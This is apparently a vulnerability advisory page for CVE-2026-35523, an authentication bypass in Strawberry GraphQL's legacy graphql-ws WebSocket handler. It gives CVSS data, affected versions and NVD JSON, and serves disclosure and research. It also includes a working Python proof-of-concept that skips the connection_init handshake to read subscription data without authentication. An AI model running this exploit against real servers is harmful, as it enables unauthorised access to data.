Security Vulnerability Report
中文
CVE-2026-35523 CVSS 7.5 HIGH

CVE-2026-35523

Published: 2026-04-07 17:16:32
Last Modified: 2026-04-17 20:37:21

Description

Strawberry GraphQL is a library for creating GraphQL APIs. Strawberry up until version 0.312.3 is vulnerable to an authentication bypass on WebSocket subscription endpoints. The legacy graphql-ws subprotocol handler does not verify that a connection_init handshake has been completed before processing start (subscription) messages. This allows a remote attacker to skip the on_ws_connect authentication hook entirely by connecting with the graphql-ws subprotocol and sending a start message directly, without ever sending connection_init. This vulnerability is fixed in 0.312.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:strawberry:strawberry_graphql:*:*:*:*:*:python:*:* - VULNERABLE
Strawberry GraphQL < 0.312.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import asyncio import websockets import json async def exploit(target_uri): # Connect to the vulnerable WebSocket endpoint using graphql-ws subprotocol async with websockets.connect(target_uri, subprotocols=['graphql-ws']) as websocket: # Construct the payload with a 'start' message type # Intentionally skipping the 'connection_init' handshake step payload = { "id": "1", "type": "start", "payload": { "query": "subscription { sensitiveData { id content } }" } } print("[*] Sending subscription start message bypassing auth...") await websocket.send(json.dumps(payload)) # Listen for server response while True: try: response = await websocket.recv() print(f"[+] Received data: {response}") except websockets.exceptions.ConnectionClosed: print("[!] Connection closed") break # Target URL example # asyncio.run(exploit("ws://vulnerable-target.com/graphql"))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35523", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:31.583", "lastModified": "2026-04-17T20:37:20.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Strawberry GraphQL is a library for creating GraphQL APIs. Strawberry up until version 0.312.3 is vulnerable to an authentication bypass on WebSocket subscription endpoints. The legacy graphql-ws subprotocol handler does not verify that a connection_init handshake has been completed before processing start (subscription) messages. This allows a remote attacker to skip the on_ws_connect authentication hook entirely by connecting with the graphql-ws subprotocol and sending a start message directly, without ever sending connection_init. This vulnerability is fixed in 0.312.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:strawberry:strawberry_graphql:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.312.3", "matchCriteriaId": "480FB826-3577-47DB-8F4B-B7B6F5C474E5"}]}]}], "references": [{"url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-vpwc-v33q-mq89", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}